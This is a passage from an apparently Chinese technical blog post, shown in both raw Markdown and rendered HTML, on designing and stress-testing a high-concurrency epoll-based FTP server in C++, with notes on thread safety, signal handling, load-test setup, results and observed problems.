笔者的压测程序使用java写的，代码在这里https://github.com/H-ZeX/FTP-Implement/tree/master/test/FTPServerTester 压测包括 登录 列出某个目录 上传100KB的文件 根据配置，sleep(HANG_TIME)，在C3K～C4K的测试结果中，HANG_TIME=0 压测前，运行server的命令是 1234ulimit -s unlimited -f unlimited -d unlimited -n unlimited su rootecho 20000 > /proc/sys/net/core/somaxconnsudo ./FTPServer [port] > /tmp/FTPServerOutput 修改somaxconn是为了使得baclog足够大 将stdout重定向到/tmp/FTPServerOutput是为了使得错误信息清晰的显示出来 之所以需要sudo，是因为使用了OS的账户验证机制来实现用户登录 ./FTPServer [port]的[port]参数可以不指定，也就是直接sudo ./FTPServer > /tmp/FTPServerOutput,这样将会监听在8001端口 然后运行java -ea -jar -Dexternal.config=file:/tmp/1.properties FTPServerTester-1.0-SNAPSHOT.jar FTPServerTester-1.0-SNAPSHOT.jar在根目录的test目录下（不是在src/test的那个test目录） /tmp/1.properties是配置文件，因为需要包含测试账户信息，所以需要自己定制，样例如下 123456789101112131415161718192021222324252627282930StressTest.TestCnt=10StressTest.MaxCmdConnectionCnt=1000StressTest.MaxThreadCnt=1024# the time(millisecond) to hand on the connectionStressTest.HangTime=1000# 你运行FTPServer的host的地址Tester.TesterServerAddress=10.243.6.109# 你运行Tester的host地址# 必须保证运行server的host与运行tester的host是可以互通的# 包括，tester可以主动链接server，server也可以主动链接testerTester.YourselfAddress=10.243.6.43Tester.ServerPort=8001# 系统上账户的用户名Tester.UserName=# 系统上账户的密码Tester.Password=# 这些是以逗号分隔的目录列表 # 必须是绝对路径# 这些目录数量应该>=20个，越多越好，太少的话，测试会很慢# 因为多个用户访问少数几个目录会很慢# 如果你的测试程序与这个FTPserver运行在不同的主机上，那么FTPServer运行的主机上应该存在这些目录# 如果运行在同一台机子上，测试程序会创建这些目录Tester.ListTestDir=/tmp/testDir_1,/tmp/testDir_2,/tmp/testDir_3,/tmp/testDir_4,/tmp/testDir_5,/tmp/testDir_6,/tmp/testDir_7,/tmp/testDir_8,/tmp/testDir_9,/tmp/testDir_10,/tmp/testDir_11,/tmp/testDir_12,/tmp/testDir_13,/tmp/testDir_14,/tmp/testDir_15,/tmp/testDir_16,/tmp/testDir_17# 这个目录必须是绝对路径# 如果你的测试程序与这个FTPserver运行在不同的主机上，那么FTPServer运行的主机上应该存在这些目录# 如果运行在同一台机子上，测试程序会创建这些目录Tester.StorTestDir=/tmp/FTPSeverTesterStorDirs____23233dd22/ 压测结果 笔者的测试与server都跑在同一台机器上 笔者在自己的机器上(Intel i7-8550U, 16G内存，没有SSD)，StressTest.MaxCmdConnectionCnt设为10240及以下时，测试可以顺利完成。并且在测试过程使用linux的ftp命令与server通信，是比较流畅的 在如下设置测试参数后 123StressTest.MaxCmdConnectionCnt=10000StressTest.MaxThreadCnt=4024StressTest.HangTime=0 sudo watch -n 0.5 "netstat -anp | grep -i <PID> | grep -i "est" | wc -l "可以看到数目是3K到4K之间波动，并且测试期间手动与服务器通信是比较流畅的 出现的问题 测试程序开50k个链接连server进行操作（50k个测试是依次提交给线程池，边提交线程池边运行），server需要openListenFd，由OS指定端口，但是在测试程序成功进行了15k多一点的测试后，server的这个openListenFd失败，errno是Address already in use。 我猜测，可能是很多端口处于TIME_WAIT状态，虽然打开的socket设置了SO_REUSEADDR，可以绑定这些TIME_WAIT链接的端口，但是刚好，对端也是上一次那个链接的端口，这是TCP禁止的——TCP允许复用处于TIME_WAIT的端口，但是不允许新的链接与TIME_WAIT的链接的(serverIp, serverPort, serverIp, serverPort)相同（其实也不是一定禁止，TCP规范是允许有例外），所以就提示Address already in use server listen的端口的backlog设太小（20），测试程序开的链接数一多，就有一些链接三次握手成功，但是hang住在读取welcome信息那里，详见笔者的另一篇博文高并发情况下backlog过低出现的问题 缺点 因为使用是线程池，并且似乎一个线程不能设置另一个线程的uid（欢迎指正！），所以无法利用OS的机制实现权限控制 只有单个线程accept，可以通过linux内核3.9的一个特性SO_REUSEPORT来实现多线程accept，并且没有惊群、负载不均衡的问题（The SO_REUSEPORT socket option）","raw":"---\ntitle: 开发一个高并发的FTP服务器\ndate: 2019-03-20 21:58:41\ntags:\n- FTP 服务器\n- 高并发\ncategories:\n- 网络编程\n- 并发编程\n---\n\n### 需求\n\n- 根据RFC959\n- 高并发(C3K~C4K)\n\n### 架构\n\n- 在主线程使用epoll，监听listen在21端口的fd，和所有用户的命令链接的fd（以下均以cmdFd简称之）\n\n- 一旦某个fd就绪，就将其封装成任务对象提交给线程池去执行\n\n- 每个用户关联一个Session对象，根据RFC的要求，可以实现为，任意时刻只有小于等于一个线程在handle这个session对象\n\n- ```\n $ tree src/main \n src/main\n ├── config\n │ └── config.hpp\n ├── core\n │ ├── FTP.hpp\n │ ├── Login.hpp\n │ ├── NetworkManager.hpp\n │ └── Session.hpp\n ├── main.cpp\n ├── tools\n │ ├── FileSystem.hpp\n │ ├── ListFiles.hpp\n │ └── ThreadPool.hpp\n └── util\n ├── Def.hpp\n ├── NetUtility.hpp\n ├── ThreadUtility.hpp\n └── Utility.hpp\n ```\n\n### 线程安全的线程池类的设计\n\n- 见笔者的另一篇博文[Construct a Thread-Safe ThreadPool](https://h-zex.github.io/2019/03/20/construct-a-thread-safe-threadpool/)\n\n### Utility\n\n- 对于POSIX的 read、write等IO函数、accept等网络函数、epoll、pthread等函数创建wrap函数，用于处理各种错误，使得业务方可以简单的使用\n\n- 要根据manual，对所有可能出现的errno进行处理。我的处理方法是，对于可以明确知道不应该出现的errno，一旦出现，就调用bug函数；对于EINTR，根据需求进行再次尝试或返回；对于不明确是否是合法情况的错误，输出一个warning，然后不改变errno，返回给用户；尽量使得这些wrap函数不需要返回过于复杂的信息，能返回void尽量返回void，能返回bool就不要返回int\n\n- `ReadWithBuf`函数：学的是CSAPP的方法，让用户每次调用都传入一个相同的`ReadBuf`对象，在这个对象里存预读取的数据，这样子就可以每次读都读1024B（ReadBuf里面的buf的大小是1024B），从而减少read这个syscall调用的次数，可以提高效率\n\n### FTP类\n\n#### Session在多线程下的线程安全的保证\n\n- FTP类需要保证很重要的一点：任意一个session在任意一个时刻，只有小于等于1个线程正在handle该Session\n\n- 在代码里我是这样保证的\n\n - 对于用户的cmdFd，epoll等待的事件不仅仅是`EPOLLIN`，还需要`EPOLLONESHOT`。`EPOLLONESHOT`的含义是，一旦一个Fd被从`epoll_wait`返回，那么其就不再从`epoll_wait`返回，即使有事件发生。直到用户对这个fd使用`EPOLL_CTL_MOD`调用`epoll_ctl`指示等待的事件\n\n > EPOLLONESHOT (since Linux 2.6.2) Sets the one-shot behavior for the associated file descriptor. This means that after an event is pulled out with epoll_wait(2) the associated file descriptor is internally disabled and no other events will be reported by the epoll interface. The user must call epoll_ctl() with EPOLL_CTL_MOD to rearm the file descriptor with a new event mask. \n\n 从而使得，一个Session正在被handle的过程中，没有新的线程会去handle这个Session\n\n - 创建新Session的函数epoll_wait、accept的函数在同一个线程，从而在创建新Session时，不会有新的线程去handle这个正在创建的Session\n\n - destroySession时，持有一个mutex，从而，即使对应的cmdFd关闭了，**OS复用了这个fd**，但是其创建新Session会被阻塞，从而在该Session完全destroy之前，没有新线程会handle该Session\n\n#### 信号处理\n\n- 按照CSAPP建议的6条规则，逐一介绍以下\n- handler要尽可能简单，比如只是设置一个flag\n- handler里只能调用**异步信号安全**的函数（比如只访问局部变量的函数，比如不能被信号中断的函数）。异步信号安全不同于线程安全，线程安全中，对于非线程安全的函数的调用，可以通过持有同一把锁来实现线程安全；但是因为信号是异步的，所以如果在持有锁时信号到来，handler运行，则会死锁——因为handler调用该函数前也要持有锁，CSAPP 3rd（英文版）的P757有一个异步线程安全的函数的表，其中不包括`exit`、`printf`等常见函数\n- 保存和恢复errno。因为信号handler中调用的函数可能会在失败时设置errno，所以可能会干扰正常程序中的errno，所以需要在刚进入handler时保存errno，而在退出前恢复errno\n- 如果访问了全局的数据结构，那么需要阻塞所有信号。因为笔者的handler中只是设置了一个flag，而对`bool`型的flag的**读或写**，intel保证是原子的，所以无需如此\n > 引用自*Intel® 64 and IA-32 Architectures Software Developer’s Manual* (2018 5 18), Vol.3A ch8\n > - The Intel486 processor (and newer processors since) guarantees that the following basic **memory operations** will always be carried out atomically(`atomically`: That is, once started, the processor guarantees that the operation will be completed before another processor or bus agent is allowed access to the memory location.):\n > - **Reading or writing a byte**\n > - Reading or writing a word aligned on a 16-bit boundary\n > - Reading or writing a doubleword aligned on a 32-bit boundary\n- 使用`volatile`声明flag，`volatile`要求编译器每次在代码中引用flag时，都从内存中读取该值。不过需要注意的是，有些编译器下的`volatile`并没有类似于java中的`volatile`的内存可见性的保证\n > Writing to a volatile field has the same memory effect as a monitor release, and reading from a volatile field has the same memory effect as a monitor acquire. In effect, because the new memory model places stricter constraints on reordering of volatile field accesses with other field accesses, volatile or not, **anything that was visible to thread A when it writes to volatile field f becomes visible to thread B when it reads f**.([引用自JSR 133 (Java Memory Model) FAQ](https://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#volatile))\n- 使用`sig_atomic_t`声明变量。C99的`sig_atomic_t`有这么一段注释\n ```c\n /*\n * C99: An integer type that can be accessed as an atomic entity,\n * even in the presence of asynchronous interrupts.\n * It is not currently necessary for this to be machine-specific.\n */\n ```\n 并且按照intel的manual，读或写一个byte是原子的，所以笔者直接用了`bool`\n- 还有一个很重要的点，race Condition。以下代码截取自FTP class\n ```cpp\n // make sure there is no race condition:\n // the signal occur after check willExit and before epoll_wait\n // then the epoll_wait may not wake up.\n pthreadSigmaskWrap(SIG_BLOCK, &sigToBlock, &oldSigSet);\n if (willExit) {\n break;\n }\n int waitFdCnt = epollPWaitWrap(this->epollFd, evArray, evArraySize, -1, oldSigSet);\n pthreadSigmaskWrap(SIG_SETMASK, &oldSigSet);\n ```\n 为什么要写的这么麻烦，而不是直接使用`epoll_wait`。因为，虽然如果没有阻塞信号时，`epoll_wait`收到`SIGINT`会返回，但是，如果该信号是在检查了`willExit`标志之后、`epoll_wait`之前到来呢，那么，我们将错过这个信号——`epoll_wait`不会返回，从而没有机会去再次检查`willExit`。所以，需要在检查`willExit`与`epoll_wait`之间阻塞信号，并且要在`epoll_wait`期间不阻塞`SIGINT`，这意味着需要原子的做这件事情，这就是`epoll_pwait`帮我们做的\n > ref from epoll_pwait manual\n >\n > The following epoll_pwait() call:\n > \n > ```c\n > ready = epoll_pwait(epfd, &events, maxevents, timeout, &sigmask);\n > ```\n > is equivalent to atomically executing the following calls:\n > ```c\n > sigset_t origmask;\n > \n > pthread_sigmask(SIG_SETMASK, &sigmask, &origmask);\n > ready = epoll_wait(epfd, &events, maxevents, timeout);\n > pthread_sigmask(SIG_SETMASK, &origmask, NULL);\n > ```\n\n### 压测\n\n#### 压测步骤\n\n- 笔者的压测程序使用java写的，代码在这里[https://github.com/H-ZeX/FTP-Implement/tree/master/test/FTPServerTester](https://github.com/H-ZeX/FTP-Implement/tree/master/test/FTPServerTester)\n\n- 压测包括\n - 登录\n - 列出某个目录\n - 上传100KB的文件\n - 根据配置，`sleep(HANG_TIME)`，在C3K～C4K的测试结果中，`HANG_TIME=0`\n\n- 压测前，运行server的命令是\n\n ```\n ulimit -s unlimited -f unlimited -d unlimited -n unlimited \n su root\n echo 20000 > /proc/sys/net/core/somaxconn\n sudo ./FTPServer [port] > /tmp/FTPServerOutput\n ```\n - 修改`somaxconn`是为了使得baclog足够大\n\n - 将stdout重定向到`/tmp/FTPServerOutput`是为了使得错误信息清晰的显示出来\n\n - 之所以需要`sudo`，是因为使用了OS的账户验证机制来实现用户登录\n\n - `./FTPServer [port]`的`[port]`参数可以不指定，也就是直接`sudo ./FTPServer > /tmp/FTPServerOutput`,这样将会监听在`8001`端口\n\n- 然后运行`java -ea -jar -Dexternal.config=file:/tmp/1.properties FTPServerTester-1.0-SNAPSHOT.jar`\n\n - `FTPServerTester-1.0-SNAPSHOT.jar`在根目录的`test`目录下（不是在`src/test`的那个`test`目录）\n\n - `/tmp/1.properties`是配置文件，因为需要包含测试账户信息，所以需要自己定制，样例如下\n\n ```properties\n StressTest.TestCnt=10\n StressTest.MaxCmdConnectionCnt=1000\n StressTest.MaxThreadCnt=1024\n # the time(millisecond) to hand on the connection\n StressTest.HangTime=1000\n\n # 你运行FTPServer的host的地址\n Tester.TesterServerAddress=10.243.6.109\n\n # 你运行Tester的host地址\n # 必须保证运行server的host与运行tester的host是可以互通的\n # 包括，tester可以主动链接server，server也可以主动链接tester\n Tester.YourselfAddress=10.243.6.43\n\n Tester.ServerPort=8001\n # 系统上账户的用户名\n Tester.UserName=\n # 系统上账户的密码\n Tester.Password=\n # 这些是以逗号分隔的目录列表 \n # 必须是绝对路径\n # 这些目录数量应该>=20个，越多越好，太少的话，测试会很慢\n # 因为多个用户访问少数几个目录会很慢\n # 如果你的测试程序与这个FTPserver运行在不同的主机上，那么FTPServer运行的主机上应该存在这些目录\n # 如果运行在同一台机子上，测试程序会创建这些目录\n Tester.ListTestDir=/tmp/testDir_1,/tmp/testDir_2,/tmp/testDir_3,/tmp/testDir_4,/tmp/testDir_5,/tmp/testDir_6,/tmp/testDir_7,/tmp/testDir_8,/tmp/testDir_9,/tmp/testDir_10,/tmp/testDir_11,/tmp/testDir_12,/tmp/testDir_13,/tmp/testDir_14,/tmp/testDir_15,/tmp/testDir_16,/tmp/testDir_17\n # 这个目录必须是绝对路径\n # 如果你的测试程序与这个FTPserver运行在不同的主机上，那么FTPServer运行的主机上应该存在这些目录\n # 如果运行在同一台机子上，测试程序会创建这些目录\n Tester.StorTestDir=/tmp/FTPSeverTesterStorDirs____23233dd22/\n ```\n\n#### 压测结果\n\n- 笔者的测试与server都跑在同一台机器上\n- 笔者在自己的机器上(Intel i7-8550U, 16G内存，没有SSD)，`StressTest.MaxCmdConnectionCnt`设为`10240`及以下时，测试可以顺利完成。并且在测试过程使用linux的`ftp`命令与server通信，是比较流畅的\n- 在如下设置测试参数后\n ```properties\n StressTest.MaxCmdConnectionCnt=10000\n StressTest.MaxThreadCnt=4024\n StressTest.HangTime=0\n ```\n `sudo watch -n 0.5 \"netstat -anp | grep -i <PID> | grep -i \"est\" | wc -l \"`可以看到数目是3K到4K之间波动，并且测试期间手动与服务器通信是比较流畅的\n\n### 出现的问题\n\n- 测试程序开50k个链接连server进行操作（50k个测试是依次提交给线程池，边提交线程池边运行），server需要openListenFd，由OS指定端口，但是在测试程序成功进行了15k多一点的测试后，server的这个openListenFd失败，errno是` Address already in use`。\n\n **我猜测**，可能是很多端口处于`TIME_WAIT`状态，虽然打开的socket设置了`SO_REUSEADDR`，可以绑定这些TIME_WAIT链接的端口，但是刚好，对端也是上一次那个链接的端口，这是TCP禁止的——TCP允许复用处于TIME_WAIT的端口，但是不允许新的链接与TIME_WAIT的链接的(serverIp, serverPort, serverIp, serverPort)相同（其实也不是一定禁止，TCP规范是允许有例外），所以就提示`Address already in use`\n\n- server listen的端口的backlog设太小（20），测试程序开的链接数一多，就有一些链接三次握手成功，但是hang住在读取welcome信息那里，详见笔者的另一篇博文[高并发情况下backlog过低出现的问题](https://h-zex.github.io/2019/03/19/%E9%AB%98%E5%B9%B6%E5%8F%91%E6%83%85%E5%86%B5%E4%B8%8Bbacklog%E8%BF%87%E4%BD%8E%E5%87%BA%E7%8E%B0%E7%9A%84%E9%97%AE%E9%A2%98/)\n\n### 缺点\n\n- 因为使用是线程池，并且似乎一个线程不能设置另一个线程的uid（欢迎指正！），所以无法利用OS的机制实现权限控制\n- 只有单个线程accept，可以通过linux内核3.9的一个特性`SO_REUSEPORT`来实现多线程accept，并且没有惊群、负载不均衡的问题（[The SO_REUSEPORT socket option](https://lwn.net/Articles/542629/)）\n","content":"<h3 id=\"需求\"><a href=\"#需求\" class=\"headerlink\" title=\"需求\"></a>需求</h3><ul>\n<li>根据RFC959</li>\n<li>高并发(C3K~C4K)</li>\n</ul>\n<h3 id=\"架构\"><a href=\"#架构\" class=\"headerlink\" title=\"架构\"></a>架构</h3><ul>\n<li><p>在主线程使用epoll，监听listen在21端口的fd，和所有用户的命令链接的fd（以下均以cmdFd简称之）</p>\n</li>\n<li><p>一旦某个fd就绪，就将其封装成任务对象提交给线程池去执行</p>\n</li>\n<li><p>每个用户关联一个Session对象，根据RFC的要求，可以实现为，任意时刻只有小于等于一个线程在handle这个session对象</p>\n</li>\n<li><figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span class=\"line\">13</span><br><span class=\"line\">14</span><br><span class=\"line\">15</span><br><span class=\"line\">16</span><br><span class=\"line\">17</span><br><span class=\"line\">18</span><br><span class=\"line\">19</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">$ tree src/main </span><br><span class=\"line\">src/main</span><br><span class=\"line\">├── config</span><br><span class=\"line\">│ └── config.hpp</span><br><span class=\"line\">├── core</span><br><span class=\"line\">│ ├── FTP.hpp</span><br><span class=\"line\">│ ├── Login.hpp</span><br><span class=\"line\">│ ├── NetworkManager.hpp</span><br><span class=\"line\">│ └── Session.hpp</span><br><span class=\"line\">├── main.cpp</span><br><span class=\"line\">├── tools</span><br><span class=\"line\">│ ├── FileSystem.hpp</span><br><span class=\"line\">│ ├── ListFiles.hpp</span><br><span class=\"line\">│ └── ThreadPool.hpp</span><br><span class=\"line\">└── util</span><br><span class=\"line\"> ├── Def.hpp</span><br><span class=\"line\"> ├── NetUtility.hpp</span><br><span class=\"line\"> ├── ThreadUtility.hpp</span><br><span class=\"line\"> └── Utility.hpp</span><br></pre></td></tr></table></figure>\n</li>\n</ul>\n<h3 id=\"线程安全的线程池类的设计\"><a href=\"#线程安全的线程池类的设计\" class=\"headerlink\" title=\"线程安全的线程池类的设计\"></a>线程安全的线程池类的设计</h3><ul>\n<li>见笔者的另一篇博文<a href=\"https://h-zex.github.io/2019/03/20/construct-a-thread-safe-threadpool/\">Construct a Thread-Safe ThreadPool</a></li>\n</ul>\n<h3 id=\"Utility\"><a href=\"#Utility\" class=\"headerlink\" title=\"Utility\"></a>Utility</h3><ul>\n<li><p>对于POSIX的 read、write等IO函数、accept等网络函数、epoll、pthread等函数创建wrap函数，用于处理各种错误，使得业务方可以简单的使用</p>\n</li>\n<li><p>要根据manual，对所有可能出现的errno进行处理。我的处理方法是，对于可以明确知道不应该出现的errno，一旦出现，就调用bug函数；对于EINTR，根据需求进行再次尝试或返回；对于不明确是否是合法情况的错误，输出一个warning，然后不改变errno，返回给用户；尽量使得这些wrap函数不需要返回过于复杂的信息，能返回void尽量返回void，能返回bool就不要返回int</p>\n</li>\n<li><p><code>ReadWithBuf</code>函数：学的是CSAPP的方法，让用户每次调用都传入一个相同的<code>ReadBuf</code>对象，在这个对象里存预读取的数据，这样子就可以每次读都读1024B（ReadBuf里面的buf的大小是1024B），从而减少read这个syscall调用的次数，可以提高效率</p>\n</li>\n</ul>\n<h3 id=\"FTP类\"><a href=\"#FTP类\" class=\"headerlink\" title=\"FTP类\"></a>FTP类</h3><h4 id=\"Session在多线程下的线程安全的保证\"><a href=\"#Session在多线程下的线程安全的保证\" class=\"headerlink\" title=\"Session在多线程下的线程安全的保证\"></a>Session在多线程下的线程安全的保证</h4><ul>\n<li><p>FTP类需要保证很重要的一点：任意一个session在任意一个时刻，只有小于等于1个线程正在handle该Session</p>\n</li>\n<li><p>在代码里我是这样保证的</p>\n<ul>\n<li><p>对于用户的cmdFd，epoll等待的事件不仅仅是<code>EPOLLIN</code>，还需要<code>EPOLLONESHOT</code>。<code>EPOLLONESHOT</code>的含义是，一旦一个Fd被从<code>epoll_wait</code>返回，那么其就不再从<code>epoll_wait</code>返回，即使有事件发生。直到用户对这个fd使用<code>EPOLL_CTL_MOD</code>调用<code>epoll_ctl</code>指示等待的事件</p>\n<blockquote>\n<p>EPOLLONESHOT (since Linux 2.6.2) Sets the one-shot behavior for the associated file descriptor. This means that after an event is pulled out with epoll_wait(2) the associated file descriptor is internally disabled and no other events will be reported by the epoll interface. The user must call epoll_ctl() with EPOLL_CTL_MOD to rearm the file descriptor with a new event mask. </p>\n</blockquote>\n<p>从而使得，一个Session正在被handle的过程中，没有新的线程会去handle这个Session</p>\n</li>\n<li><p>创建新Session的函数epoll_wait、accept的函数在同一个线程，从而在创建新Session时，不会有新的线程去handle这个正在创建的Session</p>\n</li>\n<li><p>destroySession时，持有一个mutex，从而，即使对应的cmdFd关闭了，<strong>OS复用了这个fd</strong>，但是其创建新Session会被阻塞，从而在该Session完全destroy之前，没有新线程会handle该Session</p>\n</li>\n</ul>\n</li>\n</ul>\n<h4 id=\"信号处理\"><a href=\"#信号处理\" class=\"headerlink\" title=\"信号处理\"></a>信号处理</h4><ul>\n<li>按照CSAPP建议的6条规则，逐一介绍以下</li>\n<li>handler要尽可能简单，比如只是设置一个flag</li>\n<li>handler里只能调用<strong>异步信号安全</strong>的函数（比如只访问局部变量的函数，比如不能被信号中断的函数）。异步信号安全不同于线程安全，线程安全中，对于非线程安全的函数的调用，可以通过持有同一把锁来实现线程安全；但是因为信号是异步的，所以如果在持有锁时信号到来，handler运行，则会死锁——因为handler调用该函数前也要持有锁，CSAPP 3rd（英文版）的P757有一个异步线程安全的函数的表，其中不包括<code>exit</code>、<code>printf</code>等常见函数</li>\n<li>保存和恢复errno。因为信号handler中调用的函数可能会在失败时设置errno，所以可能会干扰正常程序中的errno，所以需要在刚进入handler时保存errno，而在退出前恢复errno</li>\n<li>如果访问了全局的数据结构，那么需要阻塞所有信号。因为笔者的handler中只是设置了一个flag，而对<code>bool</code>型的flag的<strong>读或写</strong>，intel保证是原子的，所以无需如此<blockquote>\n<p>引用自<em>Intel® 64 and IA-32 Architectures Software Developer’s Manual</em> (2018 5 18), Vol.3A ch8</p>\n<ul>\n<li>The Intel486 processor (and newer processors since) guarantees that the following basic <strong>memory operations</strong> will always be carried out atomically(<code>atomically</code>: That is, once started, the processor guarantees that the operation will be completed before another processor or bus agent is allowed access to the memory location.):<ul>\n<li><strong>Reading or writing a byte</strong></li>\n<li>Reading or writing a word aligned on a 16-bit boundary</li>\n<li>Reading or writing a doubleword aligned on a 32-bit boundary</li>\n</ul>\n</li>\n</ul>\n</blockquote>\n</li>\n<li>使用<code>volatile</code>声明flag，<code>volatile</code>要求编译器每次在代码中引用flag时，都从内存中读取该值。不过需要注意的是，有些编译器下的<code>volatile</code>并没有类似于java中的<code>volatile</code>的内存可见性的保证<blockquote>\n<p>Writing to a volatile field has the same memory effect as a monitor release, and reading from a volatile field has the same memory effect as a monitor acquire. In effect, because the new memory model places stricter constraints on reordering of volatile field accesses with other field accesses, volatile or not, <strong>anything that was visible to thread A when it writes to volatile field f becomes visible to thread B when it reads f</strong>.(<a href=\"https://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#volatile\" target=\"_blank\" rel=\"noopener\">引用自JSR 133 (Java Memory Model) FAQ</a>)</p>\n</blockquote>\n</li>\n<li><p>使用<code>sig_atomic_t</code>声明变量。C99的<code>sig_atomic_t</code>有这么一段注释</p>\n <figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">/*</span></span><br><span class=\"line\"><span class=\"comment\"> * C99: An integer type that can be accessed as an atomic entity,</span></span><br><span class=\"line\"><span class=\"comment\"> * even in the presence of asynchronous interrupts.</span></span><br><span class=\"line\"><span class=\"comment\"> * It is not currently necessary for this to be machine-specific.</span></span><br><span class=\"line\"><span class=\"comment\"> */</span></span><br></pre></td></tr></table></figure>\n<p> 并且按照intel的manual，读或写一个byte是原子的，所以笔者直接用了<code>bool</code></p>\n</li>\n<li><p>还有一个很重要的点，race Condition。以下代码截取自FTP class</p>\n <figure class=\"highlight cpp\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">// make sure there is no race condition:</span></span><br><span class=\"line\"><span class=\"comment\">// the signal occur after check willExit and before epoll_wait</span></span><br><span class=\"line\"><span class=\"comment\">// then the epoll_wait may not wake up.</span></span><br><span class=\"line\">pthreadSigmaskWrap(SIG_BLOCK, &sigToBlock, &oldSigSet);</span><br><span class=\"line\"><span class=\"keyword\">if</span> (willExit) {</span><br><span class=\"line\"> <span class=\"keyword\">break</span>;</span><br><span class=\"line\">}</span><br><span class=\"line\"><span class=\"keyword\">int</span> waitFdCnt = epollPWaitWrap(<span class=\"keyword\">this</span>->epollFd, evArray, evArraySize, <span class=\"number\">-1</span>, oldSigSet);</span><br><span class=\"line\">pthreadSigmaskWrap(SIG_SETMASK, &oldSigSet);</span><br></pre></td></tr></table></figure>\n<p> 为什么要写的这么麻烦，而不是直接使用<code>epoll_wait</code>。因为，虽然如果没有阻塞信号时，<code>epoll_wait</code>收到<code>SIGINT</code>会返回，但是，如果该信号是在检查了<code>willExit</code>标志之后、<code>epoll_wait</code>之前到来呢，那么，我们将错过这个信号——<code>epoll_wait</code>不会返回，从而没有机会去再次检查<code>willExit</code>。所以，需要在检查<code>willExit</code>与<code>epoll_wait</code>之间阻塞信号，并且要在<code>epoll_wait</code>期间不阻塞<code>SIGINT</code>，这意味着需要原子的做这件事情，这就是<code>epoll_pwait</code>帮我们做的</p>\n<blockquote>\n<p>ref from epoll_pwait manual</p>\n<p>The following epoll_pwait() call:</p>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">> ready = epoll_pwait(epfd, &events, maxevents, timeout, &sigmask);</span><br><span class=\"line\">></span><br></pre></td></tr></table></figure>\n</blockquote>\n<blockquote>\n<p>is equivalent to atomically executing the following calls:</p>\n<figure class=\"highlight c\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">> <span class=\"keyword\">sigset_t</span> origmask;</span><br><span class=\"line\">> </span><br><span class=\"line\">> pthread_sigmask(SIG_SETMASK, &sigmask, &origmask);</span><br><span class=\"line\">> ready = epoll_wait(epfd, &events, maxevents, timeout);</span><br><span class=\"line\">> pthread_sigmask(SIG_SETMASK, &origmask, <span class=\"literal\">NULL</span>);</span><br><span class=\"line\">></span><br></pre></td></tr></table></figure>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"压测\"><a href=\"#压测\" class=\"headerlink\" title=\"压测\"></a>压测</h3><h4 id=\"压测步骤\"><a href=\"#压测步骤\" class=\"headerlink\" title=\"压测步骤\"></a>压测步骤</h4><ul>\n<li><p>笔者的压测程序使用java写的，代码在这里<a href=\"https://github.com/H-ZeX/FTP-Implement/tree/master/test/FTPServerTester\" target=\"_blank\" rel=\"noopener\">https://github.com/H-ZeX/FTP-Implement/tree/master/test/FTPServerTester</a></p>\n</li>\n<li><p>压测包括</p>\n<ul>\n<li>登录</li>\n<li>列出某个目录</li>\n<li>上传100KB的文件</li>\n<li>根据配置，<code>sleep(HANG_TIME)</code>，在C3K～C4K的测试结果中，<code>HANG_TIME=0</code></li>\n</ul>\n</li>\n<li><p>压测前，运行server的命令是</p>\n<figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br></pre></td><td class=\"code\"><pre><span class=\"line\">ulimit -s unlimited -f unlimited -d unlimited -n unlimited </span><br><span class=\"line\">su root</span><br><span class=\"line\">echo 20000 > /proc/sys/net/core/somaxconn</span><br><span class=\"line\">sudo ./FTPServer [port] > /tmp/FTPServerOutput</span><br></pre></td></tr></table></figure>\n<ul>\n<li><p>修改<code>somaxconn</code>是为了使得baclog足够大</p>\n</li>\n<li><p>将stdout重定向到<code>/tmp/FTPServerOutput</code>是为了使得错误信息清晰的显示出来</p>\n</li>\n<li><p>之所以需要<code>sudo</code>，是因为使用了OS的账户验证机制来实现用户登录</p>\n</li>\n<li><p><code>./FTPServer [port]</code>的<code>[port]</code>参数可以不指定，也就是直接<code>sudo ./FTPServer > /tmp/FTPServerOutput</code>,这样将会监听在<code>8001</code>端口</p>\n</li>\n</ul>\n</li>\n<li><p>然后运行<code>java -ea -jar -Dexternal.config=file:/tmp/1.properties FTPServerTester-1.0-SNAPSHOT.jar</code></p>\n<ul>\n<li><p><code>FTPServerTester-1.0-SNAPSHOT.jar</code>在根目录的<code>test</code>目录下（不是在<code>src/test</code>的那个<code>test</code>目录）</p>\n</li>\n<li><p><code>/tmp/1.properties</code>是配置文件，因为需要包含测试账户信息，所以需要自己定制，样例如下</p>\n <figure class=\"highlight plain\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br><span class=\"line\">12</span><br><span 